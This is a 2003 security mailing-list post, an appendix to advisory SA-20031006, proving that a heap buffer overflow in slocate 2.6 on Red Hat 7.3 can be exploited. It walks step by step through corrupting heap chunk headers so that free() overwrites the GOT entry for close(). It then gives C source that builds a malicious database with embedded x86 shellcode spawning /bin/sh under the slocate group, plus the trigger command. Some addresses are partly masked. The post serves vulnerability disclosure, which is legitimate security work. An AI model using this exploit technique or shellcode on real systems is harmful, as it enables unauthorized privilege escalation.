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From: patrik.hornik at ebitech.sk (Patrik Hornik)
Subject: SA-20031006 slocate buffer overflow - exploitation proof
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Security advisory 20031006 - Appendix A (proof of concept)
- ----------------------------------------------------------------------
Product: slocate
Vulnerability type: buffer overflow (corrupt heap)
Impact: gaining elevated privileges
Severity: medium (exploitation proved)
Issue date: 2003/10/11
Last updated: 2003/10/11
Security advisory: SA-20031006
======================================================================
Description
- -----------
Mr. Hornik has discovered vulnerability SA-20031006 in slocate package
version 2.6. This is proof that exploitation is possible and so
unauthorized users may run arbitraty code under slocate group
privileges and so read global slocate database.
Exploitation
- ------------
The exploitation which allows overwriting memory management data of
the heap was described in original advisory. We are reffering to
source lines from slocate-2.6-1.src.rpm from RH 7.3 here too. The
attached source code constants are for RH 7.3 on i686 on 2003/10/10,
except that some parts of them are * here.
The main idea behind the exploitation is not straightforward, so I
describe it below. The attached source code prepares test.db with
following properties. It exploits the bug by:
slocate -i -d test.db `perl -e 'print "B"x1024'`
1, We overwrite one byte of the buffer management headers the overflow
allows to overwrite - it is highest byte of size of memory block of
codedpath. We will trigger realloc on main.c:1269 later.
2, We are playing here with codedpath, casestr and bucket_of_holding.
They are allocated in this order. When casestr is big enough, it is
placed on the heap after codedpath. By big enough database
bucket_of_holding is reallocated to 0x4002**** region later.
3, We need to prepare the area where the codedpath ends according to
overwriten block size so chunk_free called from chunk_realloc will not
fail because of accessing inaccessible memory or finding bad values
there. But only the highest byte of memory block size can be changed,
so the size change will be multiply of 0x1000000. The needed data (two
small blocks just after overwriten codepath, first memory block marked
as used) are placed on 0x400***** by having them on appropriate
position in database. The change in size is 0x38 * 0x1000000.
4, We trigger realloc on main.c:1269, so overwriten block size value
is used. We trigger realloc by prepare path which is longer than
initial size (4096 bytes). We are reallocating to size which is
smaller than the overwriten size and big enough to end after casestr
ends.
5, Then we can overwrite casestr and memory after it by writing to
codedpath because memory management thinks codedpath is so long. We
will overwrite the size of memory block of casestr to 0x508 (from
0x408). Later free(casestr) is called and it seems it is top in its
memory area so free behaves differently than we want. We change it so
comparison of address of next block with top simply fails.
6, We place fake memory blocks after casestr such that free(casestr)
overwrites address of close() in GOT to point to our arbitrary code
(by setting fake backward and forward pointers in next (free) block
after casestr). On main.c:1357 close(fd) is called and our code gets
the control. We setregid(slocate,slocate) and run the shell. That's
it.
References
- ----------
Security advisory:
http://www.ebitech.sk/patrik/SA/SA-20031006.txt
This proof of exploitation:
http://www.ebitech.sk/patrik/SA/SA-20031006-A.txt
Contact
- -------
Patrik Hornik
- --
Security Consultant
Email: patrik.hornik@...tech.sk
Phone: +421 905 385 666
PGP KeyID: DFA5BC67
Source code
- -----------
#include <stdio.h>
#define CODEDPATH 0x0805**20
#define DATABASE 0x4002**08
#define JUMP_BY 0x38
#define GOT_CLOSE "\x5c\x**\x04\x08"
#define CODED_LENGTH 0x1008
#define PATTERN_LENGTH 0x508
#define STEP_LENGTH 0x1000000
int path_len = 0;
int file_pos = 0;
FILE *f;
void write_buffer(int move,char *buffer,int len,int stop)
{
char b[3];
if (move > 127 || move < -127)
{
b[0] = -128;
b[1] = (char)(move >> 8);
b[2] = (char)(move % 256);
fwrite(b,1,3,f);
file_pos += 3;
}
else
{
b[0] = (char)move;
fwrite(b,1,1,f);
file_pos += 1;
}
if (stop)
buffer[len] = 0;
fwrite(buffer,1,len + 1,f);
file_pos += len + 1;
path_len += move;
}
void skip_to_filepos(int move,int pos)
{
char b[1024];
while (pos > file_pos + 1002)
{
memset(b,'A',998);
write_buffer(move,b,998,1);
}
write_buffer(move,b,pos - file_pos - 2,1);
}
void write_to_addr(int address,char *str)
{
write_buffer((address - CODEDPATH) - path_len,str,strlen(str),0);
}
void write_int(char *buffer,int n)
{
int i;
for (i=0;i<4;i++)
{
buffer[i] = (char)(n % 256);
n >>= 8;
if (buffer[i] == 0)
{
printf("Warning, zero byte!\n");
exit(-1);
}
}
}
int main(int argc,char **argv)
{
char b[32768];
int i;
f = fopen("test.db","w");
b[0] = '0';
fwrite(b,1,1,f);
write_buffer(0,b,0,1);
skip_to_filepos(0,CODEDPATH - 8 + CODED_LENGTH + JUMP_BY * STEP_LENGTH - DATABASE);
memset(b,0,8);
b[4] = 17;
memset(b + 8,0,8);
fwrite(b,1,16,f);
fwrite(b,1,16,f);
file_pos += 32;
path_len += 34;
skip_to_filepos(0,file_pos + 1000000);
b[0] = JUMP_BY;
b[1] = 'A';
write_buffer(-path_len - 1,b,2,1);
memset(b,'A',2);
write_buffer(16384,b,2,1);
write_to_addr(CODEDPATH + CODED_LENGTH - 3,"\x05");
write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH - 8,"");
write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH - 8 + 1,"");
write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH - 8 + 2,"");
write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH - 8 + 3,"");
write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH - 8 + 4,"\x11");
write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH - 8 + 6,"");
write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH - 8 + 7,"");
write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH,GOT_CLOSE);
write_int(b,CODEDPATH + CODED_LENGTH + PATTERN_LENGTH + 16);
b[4] = 0;
write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH + 4,b);
write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH + 8,"\x10");
write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH + 10,"");
write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH + 11,"");
write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH + 12,"\x10");
write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH + 14,"");
write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH + 15,"");
write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH + 16,
"\x31\xc0\x31\xdb\xb3\x15\xeb\x23\x90\x90\x90\x90\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\x89\xd9\xb0\x47\xcd\x80\xe8\xd6\xff\xff\xff/bin/sh");
fclose(f);
}
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